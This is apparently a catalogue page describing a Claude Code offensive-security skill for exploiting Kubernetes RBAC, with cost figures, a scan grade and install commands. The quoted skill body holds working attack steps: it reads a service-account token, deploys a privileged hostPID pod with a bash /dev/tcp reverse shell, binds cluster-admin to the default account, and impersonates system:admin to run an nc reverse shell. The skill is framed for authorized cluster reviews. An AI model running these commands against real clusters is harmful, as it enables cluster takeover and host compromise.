kubernetes-rbac-exploitation

kubernetes-rbac-exploitation is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 54 tokens per session (1,262 once invoked), scanned A, a copy of kubernetes-rbac-exploitation, Apache-2.0.

A security-testing procedure for reviewing Kubernetes RBAC, the permission system that controls what users and workloads can do in a Kubernetes cluster. It examines whether excessive permissions can lead from a pod to cluster administrator access or the host machines.

In plain words
What is it for?
It helps inspect roles and bindings, test service-account permissions, and assess pod-to-host escape paths.
Why use it?
It helps uncover permission mistakes that allow a compromised workload or account to gain far more control than intended. It is intended for authorized cluster reviews.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It helps inspect roles and bindings, test service-account permissions, and assess pod-to-host escape paths.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kubernetes-rbac-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for kubernetes-rbac-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/kubernetes-rbac-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 54 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,262 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00054 $0.01262
Opus 5 $0.00027 $0.00631
Sonnet 5 $0.00011 $0.00252
Haiku 4.5 $0.00005 $0.00126

Measured 8d ago against content hash 2a3a2c8e4baa, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

kubernetes-rbac-exploitation scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [kubectl, curl, custom-scripts]
Origin

This is a copy

100% identical to kubernetes-rbac-exploitation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/penetration-testing/cloud-security/kubernetes-rbac-exploitation/SKILL.md · 153 lines

How it starts

The opening of the file, as written. The whole thing — 153 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kubernetes RBAC Exploitation

When to Use

  • After gaining initial access to a Kubernetes pod (e.g., via a web vulnerability) and obtaining the pod's service account token.
  • When performing a white-box security review of a Kubernetes cluster's RBAC definitions to identify potentially dangerous privilege escalation vectors.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Environment Enumeration

# export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

# kubectl auth can-i --list

Phase 2: Exploiting create pods (with Volume Mounts)

# cat <<EOF > malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: root-shell
spec:
  containers:
  - name: shell
    image: ubuntu
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" ]
    securityContext:
      privileged: true
  hostPID: true
  hostNetwork: true
EOF

kubectl apply -f malicious-pod.yaml

Phase 3: Exploiting bind and escalate (ClusterRoles)

# # cat <<EOF > malicious-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: malicious-binding
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF

kubectl create -f malicious-rolebinding.yaml

Phase 4: Exploiting impersonate

# kubectl auth can-i create pod --as system:admin
kubectl run rootshell --image=alpine --as system:admin -- sh -c "nc -e /bin/sh 10.10.10.10 4444"
Decision Point 🔀
flowchart TD
    A[Check Permissions ] --> B{Can Create Pods ]}
    B -->|Yes| C[Deploy Privileged Pod ]
    B -->|No| D[Check Role Bindings ]
    D -->|Can Bind/Escalate | E[Grant cluster-admin ]
    D -->|Can Impersonate | F[Impersonate system:admin ]

Read the full file on GitHub · 153 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 153 lines · 54 tokens per session scan A 2a3a2c8e4baa

Subscribe to this mod's changes

kubernetes-rbac-exploitation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 1,262 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to kubernetes-rbac-exploitation, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

kubernetes-rbac-exploitation

Exploit misconfigured Kubernetes Role-Based Access Control (RBAC) to escalate privileges within a cluster. This skill covers identifying overly permissive roles and bindings, and leveraging them to gain cluster-admin access or compromise the host nodes.

ShulkwiSEC/bb-huge · 54 tokens

hunt-k8s

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated…

uphiago/recon-skills · 159 tokens

auditing-kubernetes-rbac-privilege-escalation

Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess during authorized cluster security reviews.

Youngmaidainon/Agent-Level-Up · 57 tokens

auditing-kubernetes-cluster-rbac

Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.

26zl/cybersec-toolkit · 56 tokens

auditing-kubernetes-cluster-rbac

Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.

Youngmaidainon/Agent-Level-Up · 56 tokens

auditing-kubernetes-cluster-rbac

Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.

RobotFlow-Labs/skills-repo · 56 tokens